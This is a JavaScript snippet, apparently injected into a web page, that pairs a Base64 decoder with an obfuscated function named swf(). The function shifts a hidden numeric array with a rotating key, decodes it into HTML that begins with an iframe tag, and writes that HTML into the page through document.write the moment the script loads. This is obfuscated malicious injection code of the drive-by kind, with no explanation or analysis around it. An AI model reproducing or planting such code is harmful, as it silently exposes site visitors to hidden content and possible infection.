var Base64 = {
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9+/=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
}
return string;
}
}
function swf()
{var i=0;
var out="";
var j=0;
var a = [18,17,24,14,28];
var str = "";
var b= ['97!','47!','122!','81!','116!','85!','84!','88!','107!','59!','80!','94!','116!','85!','91!','29!','91!','26!','118!','20!','117!','48!','79!','26!','93!','97!','71!','77!','107!','64!','96!','78!','115!','27!','79!','89!','106!','27!','125!','89!','106!','26!','91!','82!','90!','48!','114!','84!','107!','48!','96!','83!','97!','59!','113!','23!','91!','97!','80!','83!','107!','63!','122!','82!','114!','48!','95!','29!','91!','98!','113!','82!','90!','48!','92!','20!','118!','63!','134!','80!','97!','59!','114!','22!','114!','64!','92!','84!','106!','85!','122!','87!','114!','64!','96!','25!','96!','81!','80!','83!','114!','63!','96!','79!','107!','63!','66!','27!','91!','98!','66!','28!','93!','26!','122!','81!','116!','85!','84!','88!','107!','60!','66!'];
for (i=0; i<=b.length-1; i++) {
if (j == 4) {
j = 0;
}
j++;
if (j%2==0) {
b[i] = parseInt(b[i]) + parseInt(a[j]) + '!';
} else
b[i] = parseInt(b[i]) - parseInt(a[j]) + '!';
}
out = "";
for (i=0; i<=b.length-1; i++) {
out = out + String.fromCharCode(parseInt(b[i]));
}
var str =  Base64.decode(out);
document.write(str);
}
swf();
